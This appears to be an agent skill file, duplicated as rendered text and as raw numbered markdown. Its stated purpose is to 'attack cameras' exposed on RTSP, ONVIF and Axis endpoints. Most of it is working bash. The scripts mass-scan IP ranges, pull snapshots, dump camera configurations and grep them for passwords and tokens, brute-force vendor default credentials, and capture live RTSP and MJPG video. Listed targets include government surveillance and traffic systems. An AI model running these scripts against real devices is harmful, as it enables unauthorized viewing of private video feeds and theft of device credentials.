IoT Camera Recon Skill
IP camera assessment covering RTSP exposure, vendor configuration endpoints,
ONVIF service enumeration, authentication controls, and firmware
identification.
When to Use
port-mass-scan finds RTSP (554) or camera HTTP ports (80, 8010, 8011).
- Target is a physical security company, traffic management, or government surveillance.
- Shodan search reveals camera devices in the target's IP range.
- After
port-service-discovery finds Axis/Hikvision/Dahua ONVIF services.
Prerequisites
terminal with curl, python3.
- For mass scanning: masscan or RustScan (see
port-mass-scan).
- VLC or ffmpeg for stream verification (optional).
How to Run
# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50
# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json
Quick Reference
| Camera Brand |
Default HTTP Port |
Snapshot URL |
Config URL |
Default Creds |
| Axis |
80, 8010 |
/axis-cgi/jpg/image.cgi |
/axis-cgi/admin/param.cgi?action=list |
root:pass, root:admin |
| Hikvision |
80, 554 |
/ISAPI/Streaming/channels/101/picture |
/System/configurationFile?auth=... |
admin:12345, admin:admin |
| Dahua |
80, 554 |
/cgi-bin/snapshot.cgi |
/cgi-bin/configManager.cgi?action=getConfig |
admin:admin, admin:password |
| Intelbras |
80 |
/cgi-bin/snapshot.cgi |
/web/cgi-bin/hi3510/param.cgi |
admin:admin, admin:123456 |
| ONVIF |
80, 8899 |
N/A (SOAP) |
/onvif/device_service |
admin:admin |
Procedure
Phase 1 — Mass Camera Discovery
RANGE="$1" # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"
echo "[*] Camera hunt on $RANGE"
# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"
# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
ips = set()
for line in f:
try:
data = json.loads(line.strip()) if line.strip() else {}
ips.add(data.get('ip', ''))
except: pass
for ip in sorted(ips):
print(ip)
" 2>/dev/null)
echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"
# Probe each with curl
echo "$HITS" | while read ip; do
echo "--- $ip ---"
# Axis snapshot
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
[[ "$code" == "200" ]] && echo " [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"
# Axis config dump
config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
echo " [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
echo "$config" | wc -l | xargs echo " Parameters:"
fi
# Generic RTSP
for port in 554 8554; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
[[ "$code" != "000" ]] && echo " [RTSP] Port $port responds (HTTP $code)"
done
# ONVIF discovery (port 8899 or 80)
for port in 8899 80; do
resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
-H "Content-Type: application/soap+xml" \
-d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
echo " [ONVIF] Device info available on port $port"
fi
done
done
Phase 2 — Axis Camera Full Exploitation
IP="$1"
echo "[*] Axis camera exploitation on $IP"
# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"
# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"
# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20
# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"
# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
[[ "$code" != "404" && "$code" != "000" ]] && echo " Service: /axis-cgi/$svc/ (HTTP $code)"
done
Phase 3 — Default Credential Testing
IP="$1"
BRAND="${2:-axis}" # axis, hikvision, dahua, intelbras
echo "[*] Default credential test on $IP ($BRAND)"
# Brand-specific default credentials
case "$BRAND" in
axis)
CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
;;
hikvision)
CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
;;
dahua)
CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
intelbras)
CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
*)
CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
AUTH_URL="http://$IP/"
;;
esac
for cred in "${CREDS[@]}"; do
USER="${cred%%:*}"
PASS="${cred##*:}"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
-u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)
if [[ "$code" == "200" ]]; then
echo " [CRITICAL] DEFAULT CREDENTIALS: $cred"
elif [[ "$code" == "401" ]]; then
echo " [-] $cred (auth failed)"
else
echo " [$code] $cred"
fi
done
Phase 4 — RTSP Stream Access
IP="$1"
PORT="${2:-554}"
echo "[*] RTSP stream access on $IP:$PORT"
# Common RTSP paths
STREAMS=(
"/live" "/stream" "/cam/realmonitor"
"/h264" "/h264/ch1/main/av_stream"
"/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
"/axis-media/media.amp" "/onvif1" "/onvif2"
)
for stream in "${STREAMS[@]}"; do
RTSP_URL="rtsp://$IP:$PORT$stream"
echo -n " $stream: "
# Test with ffmpeg (2 second probe)
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
if [[ $? -eq 0 ]]; then
echo "LIVE STREAM"
else
echo "no response"
fi
done
# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
[[ $? -eq 0 ]] && echo " [CRITICAL] RTSP stream accessible with $cred"
done
Pitfalls
- CGNAT blocks direct camera access. Many cameras are behind carrier-grade NAT and unreachable from internet.
- RTSP over UDP is unreliable. Use
-rtsp_transport tcp for reliable stream testing.
- Config dump can be LARGE. Axis configs are 50-200KB. Use
--max-time to avoid hanging on slow connections.
- Video streams are bandwidth-heavy. Test with snapshot first, then short stream probes.
- Camera firmware is rarely updated. 2020 firmware on a 2026 scan is common — don't assume patches.
Verification
- Snapshot URL MUST return a valid JPEG image (check with
file command).
- Config dump MUST contain camera-specific parameters (Brand, Model, Serial Number, Firmware Version).
- RTSP stream MUST produce video frames (verified with ffprobe or VLC).
- Default credentials MUST grant access to protected endpoints (HTTP 200 with auth vs 401 without).
- All exposed parameters must be documented: brand, model, serial, firmware version, network config, credentials found.
1---2name: iot-camera-recon3description: Attack cameras via RTSP, ONVIF, Axis config when 554 open.4license: MIT5---67# IoT Camera Recon Skill89IP camera assessment covering RTSP exposure, vendor configuration endpoints,10ONVIF service enumeration, authentication controls, and firmware11identification.1213## When to Use1415- `port-mass-scan` finds RTSP (554) or camera HTTP ports (80, 8010, 8011).16- Target is a physical security company, traffic management, or government surveillance.17- Shodan search reveals camera devices in the target's IP range.18- After `port-service-discovery` finds Axis/Hikvision/Dahua ONVIF services.1920## Prerequisites2122- `terminal` with curl, python3.23- For mass scanning: masscan or RustScan (see `port-mass-scan`).24- VLC or ffmpeg for stream verification (optional).2526## How to Run2728```bash29# Quick camera detection on known IP30curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg31curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -503233# Mass RTSP discovery on a /2434masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json35```3637## Quick Reference3839| Camera Brand | Default HTTP Port | Snapshot URL | Config URL | Default Creds |40|-------------|-------------------|-------------|------------|---------------|41| Axis | 80, 8010 | `/axis-cgi/jpg/image.cgi` | `/axis-cgi/admin/param.cgi?action=list` | root:pass, root:admin |42| Hikvision | 80, 554 | `/ISAPI/Streaming/channels/101/picture` | `/System/configurationFile?auth=...` | admin:12345, admin:admin |43| Dahua | 80, 554 | `/cgi-bin/snapshot.cgi` | `/cgi-bin/configManager.cgi?action=getConfig` | admin:admin, admin:password |44| Intelbras | 80 | `/cgi-bin/snapshot.cgi` | `/web/cgi-bin/hi3510/param.cgi` | admin:admin, admin:123456 |45| ONVIF | 80, 8899 | N/A (SOAP) | `/onvif/device_service` | admin:admin |4647## Procedure4849### Phase 1 — Mass Camera Discovery5051```bash52RANGE="$1" # e.g., [REDACTED_IP]/1653OUTDIR="$OUTDIR/cameras"54mkdir -p "$OUTDIR"5556echo "[*] Camera hunt on $RANGE"5758# Masscan for RTSP + camera HTTP ports59masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"6061# Extract IPs with open camera ports62HITS=$(python3 -c "63import json64with open('$OUTDIR/masscan_cameras.json') as f:65 ips = set()66 for line in f:67 try:68 data = json.loads(line.strip()) if line.strip() else {}69 ips.add(data.get('ip', ''))70 except: pass71 for ip in sorted(ips):72 print(ip)73" 2>/dev/null)7475echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"7677# Probe each with curl78echo "$HITS" | while read ip; do79 echo "--- $ip ---"8081 # Axis snapshot82 code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")83 [[ "$code" == "200" ]] && echo " [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"8485 # Axis config dump86 config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)87 if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then88 BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')89 MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')90 FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')91 SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')92 echo " [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"93 echo "$config" | wc -l | xargs echo " Parameters:"94 fi9596 # Generic RTSP97 for port in 554 8554; do98 code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")99 [[ "$code" != "000" ]] && echo " [RTSP] Port $port responds (HTTP $code)"100 done101102 # ONVIF discovery (port 8899 or 80)103 for port in 8899 80; do104 resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \105 -H "Content-Type: application/soap+xml" \106 -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)107 if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then108 echo " [ONVIF] Device info available on port $port"109 fi110 done111done112```113114### Phase 2 — Axis Camera Full Exploitation115116```bash117IP="$1"118119echo "[*] Axis camera exploitation on $IP"120121# 1. Snapshot122curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"123echo "[+] Snapshot saved"124125# 2. Full config dump (988 parameters on Axis P1378-LE)126curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"127PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")128echo "[+] Config dump: $PARAM_COUNT parameters"129130# 3. Extract sensitive parameters131echo "[*] Sensitive parameters:"132grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20133134# 4. MJPG video stream135curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &136sleep 3; kill %1 2>/dev/null137STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)138[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"139140# 5. List available services141for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do142 code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")143 [[ "$code" != "404" && "$code" != "000" ]] && echo " Service: /axis-cgi/$svc/ (HTTP $code)"144done145```146147### Phase 3 — Default Credential Testing148149```bash150IP="$1"151BRAND="${2:-axis}" # axis, hikvision, dahua, intelbras152153echo "[*] Default credential test on $IP ($BRAND)"154155# Brand-specific default credentials156case "$BRAND" in157 axis)158 CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")159 AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"160 ;;161 hikvision)162 CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")163 AUTH_URL="http://$IP/ISAPI/System/deviceInfo"164 ;;165 dahua)166 CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")167 AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"168 ;;169 intelbras)170 CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")171 AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"172 ;;173 *)174 CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")175 AUTH_URL="http://$IP/"176 ;;177esac178179for cred in "${CREDS[@]}"; do180 USER="${cred%%:*}"181 PASS="${cred##*:}"182 code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \183 -u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)184185 if [[ "$code" == "200" ]]; then186 echo " [CRITICAL] DEFAULT CREDENTIALS: $cred"187 elif [[ "$code" == "401" ]]; then188 echo " [-] $cred (auth failed)"189 else190 echo " [$code] $cred"191 fi192done193```194195### Phase 4 — RTSP Stream Access196197```bash198IP="$1"199PORT="${2:-554}"200201echo "[*] RTSP stream access on $IP:$PORT"202203# Common RTSP paths204STREAMS=(205 "/live" "/stream" "/cam/realmonitor"206 "/h264" "/h264/ch1/main/av_stream"207 "/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"208 "/axis-media/media.amp" "/onvif1" "/onvif2"209)210211for stream in "${STREAMS[@]}"; do212 RTSP_URL="rtsp://$IP:$PORT$stream"213 echo -n " $stream: "214215 # Test with ffmpeg (2 second probe)216 timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null217 if [[ $? -eq 0 ]]; then218 echo "LIVE STREAM"219 else220 echo "no response"221 fi222done223224# Try with default credentials225for cred in "admin:admin" "admin:12345" "root:pass"; do226 RTSP_URL="rtsp://${cred}@$IP:$PORT/live"227 timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null228 [[ $? -eq 0 ]] && echo " [CRITICAL] RTSP stream accessible with $cred"229done230```231232## Pitfalls233234- **CGNAT blocks direct camera access.** Many cameras are behind carrier-grade NAT and unreachable from internet.235- **RTSP over UDP is unreliable.** Use `-rtsp_transport tcp` for reliable stream testing.236- **Config dump can be LARGE.** Axis configs are 50-200KB. Use `--max-time` to avoid hanging on slow connections.237- **Video streams are bandwidth-heavy.** Test with snapshot first, then short stream probes.238- **Camera firmware is rarely updated.** 2020 firmware on a 2026 scan is common — don't assume patches.239240## Verification241242- Snapshot URL MUST return a valid JPEG image (check with `file` command).243- Config dump MUST contain camera-specific parameters (Brand, Model, Serial Number, Firmware Version).244- RTSP stream MUST produce video frames (verified with ffprobe or VLC).245- Default credentials MUST grant access to protected endpoints (HTTP 200 with auth vs 401 without).246- All exposed parameters must be documented: brand, model, serial, firmware version, network config, credentials found.